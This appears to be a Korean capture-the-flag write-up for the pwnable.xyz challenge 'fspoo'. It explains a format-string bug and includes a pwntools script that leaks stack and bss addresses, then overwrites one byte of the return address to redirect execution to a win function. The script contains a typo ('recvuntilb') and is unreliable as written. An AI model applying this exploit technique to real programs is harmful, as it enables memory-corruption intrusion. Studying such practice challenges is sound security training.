pwn/pwnable.xyz

pwnable.xyz / fspoo

lok2h4rd 2022. 5. 13. 20:10

쉬운 문제였는데 시력에 문제가 있는지 while문 처음에 printf로 fsb가 터지는걸 못봤다

 

main

while문 처음에 fsb가 터진다

이후에 prep msg를 통해 cmd[32]를 덮어서 fsb를 터트릴 수 있지만 매우 제한적이다

 

v1

v1(v1)을 통해 입력을 받고 1byte만 검사하기 때문에 메모리 릭하고 이 값에 원하는 주소를 넣으면 fsb를 통해 aaw가 가능하다

ret주소가의 하위 1byte만 조작하면 win함수로 변경이 가능해서

스택 주소 하나 릭해서 ret주소가 저장된 스택주소를 v1에 저장하고 fsb를 통해 하위 1byte만 조작해서 ret가 win함수가 되도록했다

 

fsb전

빨간색 표시가 scanf로 입력한 값이고 초록색 표시가 ret주소다

 

fsb 후

1byte만 변조하여 ret주소가 win함수가 되도록하였다

 

 

flag

 

from pwn import *
#context.log_level = "debug"


p = process("./fspoo")
#gdb.attach(p) 

def edit_name(data):
    payload = b"A" * 0x19
    payload += data
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Name: ")
    p.sendline(payload)

def prep_msg():
    p.recvuntilb("> ")
    p.sendline(b"2")



payload = b"A" * 0x19
payload += b"%10$p"

p.recvuntil(b"Name: ")
p.sendline(payload)
prep_msg()


p.recvuntil(b"0x")
leak = int(p.recv(8), 16)
stack_ret = leak - 0xc

ret_num = 0x100000000 - stack_ret

log.info("leak: " + hex(leak))
log.info("stack ret: " + hex(stack_ret))


edit_name(b"%2$p")
prep_msg()

p.recvuntil(b"0x")
bss_leak = int(p.recv(8), 16)
bss = bss_leak + (0x100 - (bss_leak & 0xff))

log.info("bss leak: " + hex(bss_leak))
log.info("use bss : " + hex(bss))

edit_name(b"%6$hhn")
p.recvuntil(b"> ")
p.sendline(str(bss + 2))

p.recvuntil(b"> ")
p.sendline("-" + str(ret_num))

p.recvuntil(b"> ")
p.sendline(b"0")

p.interactive()